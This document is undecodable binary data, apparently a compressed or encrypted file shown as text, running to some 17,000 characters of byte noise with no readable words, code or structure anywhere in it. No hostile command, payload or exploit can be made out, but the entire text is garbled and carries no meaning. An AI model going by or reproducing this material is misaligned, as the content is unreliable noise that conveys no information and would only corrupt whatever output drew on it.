�؜@�Edͯ�zk�.��e/�N+����Y���ȹ�]�����d0�j�	��EY��`+�����n��xP���.�xt���D�}��>���ܔ��7>���XmA�4���8�U��_Fh�/���
��Ҟ\�m9$��0�_��<����8�+n�Q^���<�2Jf�WV��Js{ߪ	�lhn���y�1xK�!F0�,�|a莑b'��0�ߒ*�4�rVa�0=h�`\P��j�Ȝ��9�N�e|�>K��j��G`�7���@�ςs)�}� M�Y�+�C�� �T�(=423���9��!~eSFU��� !�2��3tҨ�UwV�7J���� ���)
�fi@�'s��@�<�=����B���K	HŴ�E��r��l:�q��srр�A��æ������i�~�zbĂ��.V����C���B9�17�dYmz>x���ѣ�G��/�C�>�[G������WnAE�6��V˘�}lK����0����0ϱ핆!��Yf�V�޴����x��mP��fh�\��� O 
�ᨹ<ڵB�`�ڣ���r�E��`N�e{�	4J~4�p��+�J�R�����!5��CbHҏ�R��1������Ͳ1h)�K�]$4*�Ƌi�S"�.��i���C�T�Ë�����澹*�2�(�~e�-,:�e8~(��`WG��z��w/<~���)K�nR>����p���64�r��M�ߣ3�G;�m]�4�t��	s�0�א����
�8x~th�x
�U�Q���i��=	y&����%
����j:�����W�3Ͳ���UL	�9B:�P�&`I�0ቷ�����c�}�ţ��F�M|��O�� �h%��}*tV�l��kY3x;,>8lĠy�ް�`�4�
�L_U�Q_�Z�)=`#�Qx���/�=}|��?�?� +Ҋ�F�h�R���ƾ��9�etҿ��YL�1o'	8���n�mW��L��CƬ,gٌ\���Z̖��s�����]Y�|3���U��o����Mxv~լe3���'�Z

K��������rj��$���.=��=B�d�H��S�34��'V�[���T���N�oP��?<Uc-L�����W�z��ɳ�<>xrp�i1��>:�nQn��C..l2hU9���;�>:�ju;U��|�Ϭ�����贄϶��S��'��M
܆��WlQ�U���L>4�+��׾
�~}E��.��d����Vؑ�>NI���W?�ዊ
���Gm�V=j$�a�CC޼���Q}8
]�K�
�����o��M Yv��۪le�n����J��V����Ϟ�hO�=\
]�}
�[�}_yښ���x����/��T�f�Gw���*�Oco
��{���9����OO:���N�����y��rp1�$��#�G�9;����z�2f?7-�Da֪����J/��j/�1�UY��
a"M��0
��#�̳�)�8�K��F�~������K��$J4�\��M+��{�<y�J�6K��g�ny�u��V�c̉��2I/5Rf�|��Ғ9M�v2&�֙���2;#�x��|�=;�Q��fݯ����=��<�P��ǩ�ώ�
B�=���疚�a�1[^���:�]�z���Y,��#v��|��+�p���]a�b�j9en��j+�u͋����l>l9qj�ڼ#�:'�5�L1S��JWT?�$��NUZMh��҆�b�b���S~L�X�R?�G%^n�ǽ=��s����h8)�L�{�E���[7oڗ��	0�8"�2��O��=�(��+�c
;x��U�X�ß�5���?��k��W2_��ΏdW���UN��\G]=熡�V��r7,5�	?,��*;�rF`���z�ļ`�D�wT"�$d���d�Sk�,��<���K�B,2�2�lo[6�o�I�M�#Z,��uӲ].9+�g�Y1�d��,Q[t�ZLr���l
��T��b!�,�oA�V����(��qd�Q+���)-�N	��s ��G�ٛ_��[,Uև,D���jS��d\o��+d�r"�.��t�@��]�S-�w��%�)H:�~sE/���fր�Gs���r-�*8���*+n��[%�������.6��g��`��O�f���<?<���Mc�5��K��`�E�Cafin*�=;�+�4`�-$� �cN���*���7�~�e�/ˣBv�/q�8M�
\+>�G��h�Vz,e3:�<��Z<�<�⁅����y(S4#��&&��Ձ�
�G%�,�Fܩ�yOb�j�/�nhNE48��:��n����؄�f��+���t��Qv]�B�k�rdГ4Q�#��@?�"��!���E�Yj���:��>�+F��ɛ��GV�5맭؛�L'F<�w����|��q�RPڭ�jW�#�y�������4���b� �FЈ�&M†
jN�����u�����+������ó�(����]�����֒.������o@l� {�cݧ�~+�(	����[[����rP���jj��k��q2���-���G΋7#Ls���[�jV
:;/F����\�f�o���z�1���U��+���|�l�@��J��+L��T?�D��v���ٔ�0��vC���j8Q��"����~�߸n�,!�v�5��@�;1	96An�D�[끭���b#���[u"�ꛝ�� @X�����8��ZP��8˰H�F���#uj�:��u�F(gJ
<��9L��) ш�;V����-�����~o�5�^�y�9��G�{�K�mS�*��~+5����0;9�YkjnsK������l0/Ǘ�� 	��խo��N�%;0*Df�w�l(��[ݛ�kz�m��b�woњ݅�z�S���6Sy��CW�R�.��7H[�b[n	mѐ�F7�W̵�*0�1ڂ��
l��<��a@_T��8Wb��Vvm�^u�.ob3�">�V�K�k�����sp��<�y7Z!9�wv9]S�s�B�
*�q��'�2��T��YT�[���#�b-�	!��<.��K�Ka0�K�H<�
X�p�b�L��4�=6�������|��8
�_<�'�5��"+
���c
��u�w�al|��Ҋ�|�������x�����M�Ёl	��]��	��t*ڟ�<�~-e�i^���
��BW���j�m~��[�v�ٓ��x�u#0�y�}tt�����D��Dl��&	Mg�w$h��Zp�$|L��|D)>&YY
>$ ��YX�+�+Z
d!7�6���{�ZHV��m�AgAtm�-��@�<��b�7�Xa4�`�g��B;X��7�@|O�
 	�d�R��o�0�ο�u��,W�H�(����ڠHT]�.�œDz�`��?��pOԩ;H^K}�o+X��?���+&��PW�O�#,��O�����G���کeMO�qfM�8��<�i=����n����Uh�O�8�p�"�,��ȹ�4�;o釃����xN��4Y������7���WϟzqH�7��);~�?¿��wO�{���f��fP���W?>�_������{��M����'�P�C��?E��(�$#�(�SiFGTa��I'9��(��WY�,mŸ�fy3xDT��JNX&<\�$R6�3{�+��N�tԖ��Mڞ���
]
%���]��dﲡGO���y�Lz=���.�š�~+�2�dߓ�.X�?�|5�s���ݭ�G�*��U=����Q)�i��E�S宖��uݖp*`�)�)$�J���J9��řLk�~z6,�:�]�b����dZt庰���٣�{�ʅ�'�ʓ�)��E��Y�K��r=����^<{z���w���_�|�U�8��0����:�*�����ӣ���(�S�Ԋ}���ԈA5�#��!`�4�23&�� xL��-���|Xd%&��ᕖ[k���
"KX����F�m-��<���,�ה�(�qva��wl���?ީ?�et�*C뗏�2��������E:�f�&��[��a���>za���;8|���O�/A���}F. !݅� �E�E�5�x�%rՖuƣF���n �����ז@��4W��p��AB�<�*�N?w.Ed���)5�̉�Z[?������s׬<�����ps�������,���tA�Y���J���ZZ�mʲ�
���-�����\�z˙��u�>����9ڎcۆ&���m&]�>K!���^�0`F�I���j$㚪���nyb�����%���7�D��h~�ym�WQ#q|m�`�g�J�a��{-@�bG���@N6���*�Ao	U[������X�����µU�*��{5.�1�{�	
�R���3@�HF�gKtqW�� –�:],%"�hq�
��>�,]# 
��1.w�yn�ӯ7+���D��,��RN�NLDI.���ym���u�*7�uB��������=_�����)Js�ˆӆ��W�tٻ�!H����Sjk�믞���<�?z�c�tN��.���� *=�xKK��SI|�i�'���<޷_��r�Æ`2��Z��(���Rb����n��xw�f��N�J��U+a9/��Ӂ{�t���7[��,�L��6Q����sݰ��j�P�+a��#}6So����6ՠD`u�7<vk��c��=��"�꥛���c���I$���t=76�����MQ)|T֎k�"�n�^��<�L'��-��=մ�F���Y~�	w��w���y�ݣ	����g���������Ӈ��v�K�J�[��l�i��[i���sk1I̭5Kb\D�[�JE�������H`o3�R��'魿���X�X!+y���C
��,�xd��� �ܵ �`,L��R�l٥�fF�c�nt�Q���G�b�݁'�8)�DS��C�+�lڄ��l[��)&���уN�+�0 P ��&�ZzL������C ���?z����j1���3וAz�ܽ�(z&p�J�_.ˆtM���cu~/���G�G��Z[[C���L5I�OU*7�.doot|������9��x���X˖p T�D�^�F21�9Ʀ��d1;
9�Nw�s�m:����G��<lnY�h8�!i����p���%�am�|���%��ȶ��-�I,X)>.+��ٳx5�b����8\���q��~w����ģ6'��ao�5�<P���
Њ^��D� X�������5p�1-�
8Í��w�Zdn���6�\q{��
 J	�k�(��¶�r#���B	�@]�Z\j����rI�_��	)g��{!2`<J�^�kM(�j���������{�1�ԟCy"C�lʶ0HÏ��/��;_H�o��݃͊3�j.D�y
��t�;[6�V�)=ye����������t�}|�"=
�﹑<-l�-蹩Ks	#�o��"���K���d��!5��ϫ�v�愶����eX�j%�[;\M�Rc��}Ýx�Ԗ�͗�xi0��"�TB�$���5f1�4���q7��.��H���w�Q��s���K�_��GM{�8t�첺!HB]���ࣶ���vSt]1�s�=3^�{[�lC��S�n�m��|t�Uq�/U��>�Qq^�R�p��XE^�W��-�TN�M���k�{W�aA�mKXRۦ�Ԭb����AF�6E�z)�ǒJ�'��G�!EX�?��@6�-7*�F��,��D}[*m��+W�(�*ZA�L�tc���{�W���N�^_�t��?�ǟ���>F�PX���Қ�5�s���?�����f��_�1�n�X��C�&���塒�{��׽=z�ۛd!.���N6Ǒ��kt�����ao���,+�F��A����!�n��x����1'檃�~�G
;ОJ7:�(����TiV�����:�R8�%}���T�X�Ɲ�v�t�&=�:ї����t��RUk���d�������\TEaا٨����F�l�	_BM�����S9=@{�a�/�� ��:�a��)���Bk�Lz�L&���.���&YA��(��ޠ��d<�U�iݛ��u8��'��8wQ���6ƒ0�֬J�UO�p�տ��ض�QPT��ӟ���Ol�'�8����Tw�����8_\/3���&��@���d���9$�ۿۿ�2�,=������bn�XN>�tX��~Mǚ>��`�\愧������6���	���G�^#A�8.��imw���XoB�Y��4c��2Czޮ�>�3��t|9 vi��w�����F�ߍs]���.g~E 6J���>�:�
	����#�𶡭!�~8dņZ�

�������� `�!R�ޒU%�G�a,��S��փ�o��5F��_~l�̀�L6Y��K�3_��=��U��*R�D4'

�������{u߹���ۈ���^p��(spD�>�*�1���	%>��8+ϲlnȋ����X?h|7��U}����q���i��hW�E��=��T;MV�4�v2N�գȲ�`1˫'���1�� ������ky�'|dݞӃy-��Ӛ*�k7n˟ 3X�эj�MP��(�Т
�L�%�
�Wd|�� `��w��BRX�8q9:��ߙ@��{��߶q%�ҧ@%���/I[˒W�����$^[n����	I�)�%H�Z���s�93����>�/�H`�s�̹���,U�ziJ���-��]�����> ��
Y�`��5���qh_�k�{��DEP�P���:ь���FX��X*��i^WyoS�
��;\��ps�+u��ұx7�h�^��~F�k��j�?}}��9j�<l�m�,ꨢ6�Z�'Ζ��+Wzy�����m�|��wKj� Ň;�.�ۦ�U��
�fb��l�5������=����+֥{��z+�k$���/����0a(��r�@f�qY��$i�g�~mq-H���j®d]�>E%]-tx��K��C�W���/��G�R�A ������E_�C����y9\@��BxCNU���.&��b�W�h'��3��h��7�m����)���0E�t]����:�,�2W-�_'�1�/��B�Q�(I�EQ���j<�~����鎽�mוy]�–cX�=m�f	{z]��u����[2_��kޛ�q+uĘ�+�s��j�p�^J;����Y�ߴ38��5Y�g-X�䄯.G�{X���,�t|iiB����6�?�vng��w����;��8�UY��i���5�j�y��Z�ǘ?�^#Uu��������O��o~�"�O_E+��ȕU���j�������7�T���{�A/ߦ�����4~���kLY:�_��n&n�����\+�w�VBF@)�?-+�ʈ>_��r"�ե$I+c���p)�g��~n���zM?y%)���5�p|Tm���t
ԄgUt�4J �p�b��-H�n59���Z�6꾺z�D(^S�B�8��E�Y�%�*��j�RƓ>q�/�+y�g1�^��i�"Q��
:��z�=E����>�Oi[kX���+j:�/S`9�ʹ�p�0�Y� j6ݺ �ZM�4{8��枮f2�B7m�
壛W�JK���ck��b+� n*��
+�h(}��A͵���J:��
F����z�-~iY���Y���MңU��m�����ֽ^��ծ�z]�˦z�^)�lf�>sR�'�a���dL(�N~���c&��bA�'������{��v6������ULy��%�9a�`Ыdܭּ��YQ]Ԯ�'3U�wl�ꊹ�%��CBc̘�ai/+@���r�@z�������GO9�A��bA���:z5�`�J����o�,���vB�jD9��+@3�"wX�q�yQ�,8>�O��9O.��uQ{ө�ϙ�T��"��5/ͳVg�$l|h�T��=�l~>�D������״̮��JApr�]&E�������b�2	3z��Eahu����1�@'5��F���:{jh��'�2Bn�y1�L�s%�k�-�+j�q3���ZH����z��ax�
���`���C����ȼ�y%�����2U�y���6K����p��Lan�k���
ndf��dx	%.r�="��٥��Q��p&��:h>���
YR(㡨��@9-����R������vjV�BN����Rr �|yɫ�QN�{�X^�(`�8*$�ZLƐj���'��4�Y��r\^l��-
pi�X{�l�+��>�Q����p�s�S�����5��a#͢U��P�v�ϋި8��q�0�n��R���$�
,�(ϧ}|�rz�i
g��aڅ�Њf��ī�уph�	f��D����ѫ��@zI�3�W�1_y��6�&tp�t{��x�Po����/,�ANH��Z6d\u�ؒY� ���|������4����3�~'������:���.�m~󔸑Q���S�1B#�8L����o�@�x���V?9H�s���z��;�8+�g~�@�|~��*�trγ��Ŵ+�	�\̀f4��j�4aևd :�Ng��,����`X.���-�� �a�^��K(��a�x��*
^9�Ӈ"�Ѫ#e"����A~���I[G�A��Ͳ�˞����/ߘ�����e�9	�GN.���
��C^�w�8�?�D$C�������H>e
j��z/IavU�g����U�1I�0�Pj��G����s
A�lw��m͟#A��7�)^��Ǜ�7v+~�)'��8��y_t}q��E}�Մ��j�>���Y7�Z���yoȺ�'�2����l�|պ�K:O�	��>D����tŕ�Цt�+���M�k΀�`;V�{��_�V�	��s?��\�Wj���J��:h�5k%��2L͛�٫�1����`�\��)\~]o��Χ���
@��-(�?�>�G�'�? v@>9"
"��B_ ����`�rCwM�a'��Df�4�_H�1r��z���@i���j�O@����qylhe�bJ�LUh���@͎�Θ0C9�j�߷;0�2�yh��D��dq�����nN������H�P"#�m��.�dž:��f��.aZZT��d$�*� �k��=+/P���RBL��O���>:���ϒǏ�����R�����Ӄ��=�	�^Q�S׃�CyHW�c�=?�/�X��s�p
[����8�|�!g@xa�E�H��c\�A$a>y*�2x�8�_����x��#�yS���CB}��G&���OO�x=0|�5�fH=(@Џ�/Bgl�Z����f�h�$/��J)����b��X������W���q�op/{I�ՋI'4�QKf4B/c��Pn�JY�<{]L}���;)���c`)�`>g3���jpV,�ܱ����F�̳$~��Ԏ�h3k��h�K�tLc�R�s+sG�B�I	�����;_|�9�_V���bb�������Yd��W���{w�S�~����aEAЙ��sW�k\�k`D��q�B�Ύjx�Um�P��kyϊ/o�<][��$���
]w����`T���ơG�h۶D:��r��#!_��+d���=T��0��Q�1���� ����
K��&�c r�%=t�as�Hcl��A-�Lh�����%)��Ǒ�Jk
|�T�f��N�콨-��׊lrdP+Ý�M��:��r
�#h$���`��+���,�vՋ7�{��J=����7{>�1#4/熼�H����{x�;I40��V-��?���ɘ�"�1Vɏ��9M.����T܌�y�����d��
(>��*!���K�>f�2s^D
�;Y����d'�_��7_�����=|z���|r:?38�k~������o���iVp+��Z ^W��j�X	W�$��<���W�&� ��&�XcgX�W�YyE��W�f�zE��#`�Y�t�8?g�X&�h�$�j��ϜZ=g��|dU���ˎZ"<$l���b�o]j��.����w6�A�p����a��{����,F�)�|��I�dS�9�)s�Yq�ood�q��l<\мXh��0��2�Y.�}��GL��Њ�v�,'@�jA�jj���M?rcȧ�n~Ԙƛ��̦�T�Tˉ�$9��Y�ei��y�7ijE�)F`eg�u�*���݆j�p�MP�Ai����	f&�^��%3������-{_�B�&Ri?�i�
NO!�Hqdh
��r��sSm���A�k��%��\A���N��o����V�.9˦SH�w�Zb�qYN��0�yQ���o���}jr�iAz{���n��|������E�au�n����.��%���1��Ǚ���
p��<�"H��k7C�s�B1w�uh
��$�w�Ffe9ߔ %�gm�=L��L3�#]]J!�����B�8�����
V�:R��(�ۊ��$���*J�6ă�S�oB�A�;��Q��'j�.r{ވ�W���X�>;L;�%�9�<8��o~��A �25�$@��|(�e6*�ed�S�v</��r���1�a&�Ã����|��Ir�U(ެt@в=�e{��". `�y�W���W7�e��Z�,Y��5�H]B��10U.�[�����lf�R�IK�=1�3���svE|�M�2:v��(~�3kA�C� Y�|2y^-�]�HdI11�]�0��aOѺÚh�q���ɡm����e^N5!���#퉑L��Bai�J*�m_#��H7�n�$�+���e2�f�9���e8�^�j�Pl�r�Yu�X�0��S-�>@���t��訇_���;�
yJ��m6m~R���l[�ZC���l���?G���<�ŴG�tK�%JBVūlx�jm�\�t�zuk���#I������(ݨk�n`��������@|���
�����3���̀����[�!���K[e7(;8?��{۰a�@�n�fj�
 b덏7�=�ž�5ذC�*�[/��a^�n -�����W@����[�G�=�#0�W��y!��a�?>>>>>��:����y6����1�ooߎ>߹��M���f������͝o�n�6����}L|�W��7�93t����I>��|�U�_���v=2���h���޺�
��7o߀���?��������=��렟ɲ�����+C��{�t0Y�b�dĂ���
>5<���[X	�t�5��DB/�����
�lO�o��>���3x9z�$g\o{�*G�]Qi�{R�l�c|��t�֥	�����~y>]�)y4H��&�1�
��jqrR����1z��:X{�=��������9����'T`\�2���cyŐ��Z6�����Dٜ{��f��ds:�{�`e�x��t1�)�h�wf����Io�Q�b��,�M�mؘ��)~� t0bo^>\�cz�؃Uh�󝂣
��s��l>φg�l�kk��Q.J0�����ט̤m�>l�C/W�U���C�B�OR��Ӈ����ã�#e�"�xh�Ȃ(�߅y������& %)#��1�Ҭ�T��p*p2�,;�>~x��-�~�������R��黇O�Z��$4�=���%�SU�;�β�L��J{ɗ#0�p���{*6=��d,��VƩ�S��0�
#�+��s��f���ըzd����pwJ�wH`�՝�ђ��h��˓�V8gb9e@��A6H�5wyeHp���}��Έ��C���2��f�c\���5�"�kH�n��ɔ֕���mp$/��)����М1�^L�"=�2�}�r�l�z��=Zl=�ӊ�ʇ+@�(���p|�l
�#�GQ����A?eG�ǎeOյV0R��෽����|�l���dF��?�~��)��H�fڎF(]J���+�eP%�"֟������΋�|@�K����}1܄I���k���,�������H�n8�-���J���w��}Z:"/�w��n�����=;���������،O�b̏?(��47�"�4$ݒ�I\&U>���栛m�=tG�a>G�xܾ���=����|R%��\�����T/����Z6.N'��g�|�����i>�_6�6��_�
�S͆@�:/��0�|/�����h���D�~�����Y�h�d�aO��%;�|�)z���@�]�@�F]��.���I��8�t}���E12�h����njd�x�ݛHQgs��(�m�� Z[��m{9��<w�ۓ��?�8�A@��@�uxԅ
�.���`^�X����]��.���.����D�e�]��ڇ�j.ݳ����Q���T:4e�ԪtD
fG8Bo���V����O�J�:����d?I;iM���S'����-1}j��kb]�"���F�5cz�� ,kHX�Jb�	Z3?��V5�妻�q�b�J$�8f$MA��M�f3����� 轂�B��sPY%��hr�b�ǹ$��8^�g&���~���,������jW���,�jX,�RK���U���Yk@�j!b�b����r�]�ח�.*�y
�ضZ�`��=�	eb`�JS+r'�V��H�r�B"4�A��*����1�2�q��j"ވ�r6���$��&N�|0�j^�P���U���	�vZ'�M5�lE+_����Qp��u(�ɑˇ8W=�2?_�̯~y����M �ܼ.��:v�X��#�N���X��"�"��^i(�6�C#]��6M��D]P�h���aF�Þ�jm��b����?!�MZ[��]���?_��x�b�v���"B�6b�v����h���R9+N&T[���.���IM�N��I=�)8�_��瘑2�Jm�,�w�z�);��w�Å��bЀ
����`�_�6;���
��Z�^Z������>��{,[��e{�+��O���@<u���B2X�&;�]E�n�o���R�����˜��y6�����v�;�H_n�����mub9�86"�l�(�U if0˧�l�s�e�"��s���Aa%��م�Z�As+���e��9�_��;��?��z�0�t0��d1�NA�w��>���
0SDB�s�t<˳��q�x�l���:J�G���_L�7��Bk�
���I")ܚ��H;/��X}��'�3 ��A47�zQ��~6n��*�rk�b��8�ܾ����n�HFZ��u^�nf�7���M�;�)*O��_z\
����̓�m��2mRp�/ORU��\�]�j�i_횎��tY��%�����+#T��H�'4ECQb�hO]��-Kp����+�V�vH��FK��33�1P����p�8�j�` GK*r���nj�����|Cl�>�����Rp���ַ_;����I�O&�l��2���含�5��t�5��3L����]�6�1#�:p�o�����i���h�屮�F����tA�*s�2�i�o��2���Ԝ}S��m�^L?W�67b^_���>♻�4(Z��o��^�g�q34����V�Neɓ�&3�l�y
�R+G� �������i(ti_�W��<z���+�g	��
�:=&�A:�8�G(P�(����PI����e��&����*�<��qn�kc�BX�(�t��d�˳bJ�Q`@����9���J�h�?�7��ǥ
�m�?��Q��)��vfr��+~6�̤β7���'���{G�@b�HP�Ir���,d��L�][Xp*ޮ^
�)����I
���ݩ^�6�`_JV!
�*Š<䖂��D�j���1��l�@��q�&)��)��_fx0~n��)E���"}��N���g�`�:��mls6+���w�V`���;@�ˊ�
<O{u@H��#�R/<��Z,�v����-�D�/,������
wku��!�ؐ�(�'hJ7��b-3�:9)7�㥛��������>��٣�-�V���~�*�>��:w+�ؓ�)vI��T��+\X�
��Z,��k�N>|Hes 9�c��^>��o^x�k������/0ŵ`��<�Cd�Nt,6���\O��!��
����u��^P��uQZ|,����N����\�赗�yQͽH0�x�01x
fH$r�i�B���mI�d����F��w�:��f��:�)Ɏ7�n}ء_��?f~טO�<V����u���\�G[��@�a�4���;�q[����G�
��i���j�a<�+@�5�p�5�c?]ie�)�74+���<C�/�L_?�%��C�G{��&_��$7- ݨĐp��+�֜�
2��)7�}9�XFׄ+�B���za�o��\�#d��nSeey��x��Y1�TJ�2T�9�\�/mʉ��n��׉�_qwdB]"����ڱ*L�}�U���Z��"��L���Vh�ҰT8�G�i�%DgaR8o�1o&�\7��i>��+B,�4z��ڲ��W�qGfY�� ��<�Dd��m�&)�#��"5�!�
C�1`]c7��;ü�hj��.�����x�d(a�6f�/,>7���V�lHN���HO(�XϝbG�EJ*�����pWcE��˺ۃ�,PL�	BA��g��L�4�S���D�h������~Ne6$���-�guhmlm���ka�柪/����q��xl�u(G���E�����_�A�SZyh�$	��'X�i��(}�@.L�J�v%��*If�SuH��k�y>��Kn6e*?0���2](I$�g0U��WsCٞ���0 �a�T�P?�9��?�xl�l{8.r�1�/fe;l(�8�Q��j�a����f��w<�
���M���`����y�ށd�у;��˟s-���UqC��!���mYl��]A5iQ
g|��V�03*�X`d�	�=�9���C,�wk`�e�X���KGY��Ҋ�[�.����4�NA�`�s�Rb-~AQt!���+S%$+A�����LE���-k��p�n����R�v1�)X���}NN:�!,J�3%IeWF�{.%;
��U�L+�}�X���0uM>P�YX��S�B���p������DS��*T�5�I8aʫH9Wo�̴�SB;;g��.�ӞDM�H=Y����&��m�3�HE��B�'[���m1[��kZ��)E�ڤt��Y"ڴ��Y�/'�o/�G��z�ni7�*��)�?U}e
��@�����V#�ժ6���q�6nPɖ;�<,x����[#�Ղ
�Ki��]�����T�9E{0!CI��f������rD6lv1���K�G�
�bA.CE���o��-u�r�W��$�3]��+���8.G�f�>M� h�&<�֒�8�K0�V��4eĹ��D&��]:����MM��Nr1�a��
���
�壀�x������u�@x�D��X'���b�.�h?��z�l���)i�H�ǖ_ͪ쟋r�-pI�T�"_��捛^	�,�e�nSWb
�� ��s�/�U?�\�˱aa�0d	�x�ʠ~�1r�� p��)���md����8�&8�[[��]�����;�����R-T)"\��C �{R���Jf0�
{����M����8ل�������w{{*�=ܴ���WC�v��s�/�?N2�)�n���{�l�Tz�9�xT�)����l1ӧt���.Y�d?go�%K��C���&e�%ע���<��uE�!o(31@�y�mb�nv�o��0�(�T�@e�tR�!�T(��x���YOc����iL�!Q��4��(�up��md̡��,����J�-�j�1����8JDPH�D��ٱ���Zt�^|�	D#1�Vw��r���L#�h�:!��A0����5$��Z���C��Z�V_O`�"���V��oZ��Ufo\����g�e�c{�t������v;O��11KLi;X�W[wmPM�aq)���m��=�N�a��O1��!L��
Mɾ�̊��+oܯ ��	is�(F�92����an�H�n�e��Zώ[�;o:N�+z�&H�z���>x��(墊���v��Z��k	�m|�2�>�E�l�;��z�"������*䉀cZ�cK?��XÛ��KR��5�o��v}
�lItpe��Z�����y9)�
��xj�N]�yԕ<5d���6�m����rD�H/�sr�\-v�f��!~� njLM�U�R���@��Z�1�|���0Jh����zĖT3�V��x�<z}h��H>�DljX',�Z�
��(Q;E���B؟W�W�yw�9�P�RE:c�N��ܠ�v)��&م�^'��Nμ!�+���%��dL�V7�a^�[e�=ڪ=0���2��u�1β7^x�b�-&�I�0R�=̥�Э��t0B��у��=�f	�,vg[o�u%�۵Z
\j��z�$Tx;���`OF�5;ń��7��`Tn��N4�Hq2���в\�Ok|��OOn��?�����,��ld�YB�R�tIC74`�PtB���r��z��Z���kXsl��6E�c?(i�_�R$:�/�e�j���9��t���\���6���fO�'���� �S�r��b>F�[f�CaUT�!��
2D�FB?/���'A�*��ôԢ���p4��S�
���O+�Ռ�+�L�.6�"�A��u����+6G�*^�</Ț[��:��`:����ln$f3Gy�+�4�*
�j�3<�VlTLQ�+�iV?��*vf���BI/yEJ���_�^H���F�t��t}e[�����.��w�H�#�4������\2%eDSu#����ꄌ��M���Jn����oJs�$Z
jCL{U�8���3�h�}J\�~��ҏ�D��9��xF�� 1fq7� ��'M=Qc�{B�����R��D!&�Ol&*3X�K�ͳ�N�*"(؅@��D&�vTJչ
�-��־~b�K$J}��@��jB�����WY3��*���f����0�UT�M!�-�V�y�Fτ�����^���ˍכ����`��ؓ�6����z�oW��u0Q�7��^sͦ��)�v�{�}�Ƚ61VN���jY�ت�K�^�̠A,S���e�K����X���y.	D�~~i�c�$~t�h�p��ZjԺV\��2;�Y��՘i
�� e�����vPc�q�1i����V�ӏaG��pU�X+E=�zf�5=�un���!2�x�o�:Z�~��ڍl�B����Ckk��W��WKϠ!���=c[�*0�gG�Q})��բ��"l1�a��Q嵫��!�W��p�)�go�Iy^`�Kn���Rde<�h'7�d����67��mÆ�NL�������]���36�6C|���EȆA!Z?�Md��e�
c!̏
U�%(��7Za+�8�O�����!>�Q8G�!�$��d+\�Zފ�,$�t��S��҂?(���ȊI��p-�h�N!��C�_l(|�i$ܩ:���~ b�.D ��:S��]��)�em�c���jw��1�g�8
�{1���'�+߶�l4
|�5�PV#K�P؋�bfГ!�]��=��4B��K�sN���18Eů�!�nt��Z#�Fet�L��tVb3b�`(�Ί%m\���c=бv6���C�A��XBTw�'K~{�Wb2�Ǎ��<����p\_a@qˢq9Ҭ��eP݆�Г\�2N�_�#j.L(���\[��~8�qh[cd�R+'�K��f�I0b��lH	2–PzA{a���`�;��Z
L�u���y?V�m7-8jSDx��/^ʷ7�
P����ko�XH���6��7�C�آz��Kps5,����}[p!���!h�N� Q>c������[*ؚ�\�XUblMҒ|��߄_Rj�Qu):s�m[�\��b��^8��[��V�AZG��R��}!�'&�X�sIw�.,UAJ!G||��J�A��"���e|�XǸ^�&֗p�΍��fC���D���tDX�‘�?�B���>َ�H���:T~`� �.���Das�]%����pܶ��;�kY۶"�z�,B�ytbM���wͻf����RXN��l{�(~Fɿ%~R6�x`$�B�7Cfs��0A��z�1����5ac��]|�1,�[�8�)�l�>T"jJ�S��@�����hEC�c��e��s�N{�_�d���Aƥ蒀(���bH�^�Rx�2A�ﴕ6�����f���je��g��fH;v������-8x7hn�M9⑄*mִgW�z�RP�r*��hn�fd��|M:E��^X���!���k��(Rΐ�2R��A���˄��
-��T�n'���}��ٍe�0���1������^�zK�	{P^�MXe1��H���G���(�F�+��N�#��cQ�Qa/�b����N�h2���Ő=�^1�ଔ�O߫��z�$&4"��\���8~�����
NWO�I���!Aـ�"�BL��L�T@^�0��"����4��H��!����B�ͅ�O*�D��S�?db��= T"AN{�ϕ�I���]];��{���[oA��jA�"!w�&�<��4�[p�"�l����.I���6=ŵNz��Dlp�{^�O��b��IfH�Pt�{B��,e�S�w�AA!�EQŝ��ٚ����c�[^/��,2b���D�1��@;p�����5�4���g:�_��	��#AwZT��x�?OY���ȻL�yF��Ҧj.�!�%��Y2�x��O���M�2ST�`����o(h��'E
BS�w�1'�lk��B㠕Q�y�A'Nb
D���\+l���[��UB(�碜���.�1(ΛlV�)���`��M [2v
�X�F�������Ž�_��o��~q.���7����^o�@g/��6?�xS��`Y!GrI��Mހ����0�H+�)N��D���������"���������aƉ�����Ӂm]�9
��4�H,�`�0��i�l߬_����C	=��6t]#���b扝�*SZr�������I�<yI A�����lbn!��bک��j�RɖE��+@Bg��3 �p–�]�@f�c�8�Y'u�#��nd{����d�\�]�h���K�_��j,��+���o��i�n������5ĕ�e��C@���.�C�+AA"����34�y���rSAY�S�r��{Z���+"�~�ȇ�=�*NnvL���d��k$3�b�2^+(���*��8���F�T\m�o�կ&����J�8.�
>��7�{��n�����ṯ�96ɼ.�Lf�o�I"�IN���\x{��0�����7X49�T��h
9堘Lb��im޸�De��sX�{�߮�S�a���s�R�w9������@˴ť0��X?P-�JQ0��=�����}�MoIl�j>���R�s=��
�A�i,�<�~
%���eլ��.J��l��c�����n�_:9zI��AT����L[�TG�8�٣^� ^�C]2=|�{�}|��)�m�U��L'A᷂	�^qd�@�B�R�b��!��jsޥ��%Y�o��Ib��1�.�n��/l�,'�Z�cb�_�T[I�z�p�볍;�0ʶ���u�]�Ԫ@f��U 
G���*�C_��-���j�2�*--�g]%�m�1?�	ī��kYד��g���!�}/)����e�0��/��̌ �-j�!�
�D-4�ʲ��TE+���-�q��xؒ7;Qx��)%�8�D���K�3�{&ܜ�ЖFt"pX�jf+Γ�s�ȗ�8����(]x��'�Dⴶ�f��
���E���,7X���pb�{��Wʗh�;���*h�9�}T
~
Z%l���?j�(��
����I� �VZa�썁R���x5�ŋ��v��C�X���b����~.�
X��M�`h#���ʁ��܂I�uV�����M�[��� h<hW����:.NO!���iۻ�v��0�$4���ڂ�gy�Q�F���`����UP�s�Α����Ѡ��x^���~ǐ�[����I�HΣ�W7�k�~��8�@�g��hq.�™��V���8�`�
"��BV�,O����n~9�jr\Mw�����.��r�Է=�������|2-�lGb^���'̠	$��Tߤ�׉~�HT���_����6QD`.�,��(
��N�mJ����	��	�Pբ�J|�����4ߠ��F�Ar(�+�q��.\
�1۳s)vc��f�-gv%r��֋6�Zr�TGҍD���$FK%�����5�`9:�d�T�U���
��b/-���w6C2�7f��87*:F�k#=�;S�x3���G{)�gͫA�6<�ʍ�2��&T�QCN�)���s�i�Z;F�;v��)h�C�Ɛ�"�fh�
�LN>x����C�j)�J���b�%c�G��&j�����	�o�g#���������dhu���Z�X�f��)��K���ϩ�v�]�N�/;�M<�kG�ǃ�=a���؆������@�M;)M���9��\*�m��ѳ�J�3�eTI�e����˸���#�j�뢫�MZ��{�<��r���%�E��g�p���zWy���׏�D��!v������\k�ūA��^T�C�d
